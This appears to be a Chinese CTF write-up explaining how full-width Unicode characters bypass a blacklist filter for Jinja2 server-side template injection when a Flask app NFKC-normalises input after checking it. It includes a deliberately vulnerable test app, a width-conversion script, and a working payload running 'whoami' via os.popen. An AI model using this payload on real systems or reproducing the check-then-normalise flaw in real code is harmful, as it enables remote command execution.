SSTI中的全角字符绕过
前言
UNICTF中考了一道用全角字符绕过的题目,被卡了半天,今天来总结一下
比赛的时候我忽略了这句话:Supports typegraphy clean up(CJK-friendly)
这里的CJK是CJK Unified Ideographs的缩写,意思是“中日韩统一表意文字”
其中就包含了全角字符

因此,我们可以猜测,后端对用户的输入进行了规范化,将输入全部转换为半角字符。同时WAF只对半角字符进行了限制,对全角字符没有影响。
测试代码
from flask import Flask, request, render_template_string
import unicodedata
app = Flask(__name__)
@app.route('/')
name = request.args.get('name', 'Guest')
black_list = ['{{','}}','{%','%}']
for blk in black_list:
if blk in name:
return "Input contains forbidden substrings."
# 模拟后端为了兼容性,对输入进行了 Unicode 规范化处理 (NFKC)
# 这会将全角字符(如 "{{")转换为半角标准字符
normalized_input = unicodedata.normalize('NFKC',name)
print(normalized_input)
template = f'''
<html>
<head><title>SSTI Test</title></head>
<body>
<h1>Hello, {normalized_input}!</h1>
</body>
</html>
'''
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=True, port=5000)
import unicodedata
def halfwidth_to_fullwidth(text):
full_width_text = ""
for char in text:
code = ord(char)
if code == 32:
code = 12288
elif 33 <= code <= 126:
code += 65248
full_width_text += chr(code)
return full_width_text
if __name__ == '__main__':
text = input();
print(halfwidth_to_fullwidth(text))
可以看到成功绕过

最后直接转换payload
//半角
{{lipsum.__globals__['os'].popen('whoami').read()}}
//全角
{{lipsum.__globals__['os'].popen('whoami').read()}}

总结一下
总体来说算是一道简单题,因为提示了会对输入进行规范化,很自然就会想到全角字符,unicode绕过。以后做题的时候还得更仔细些...

浙公网安备 33010602011771号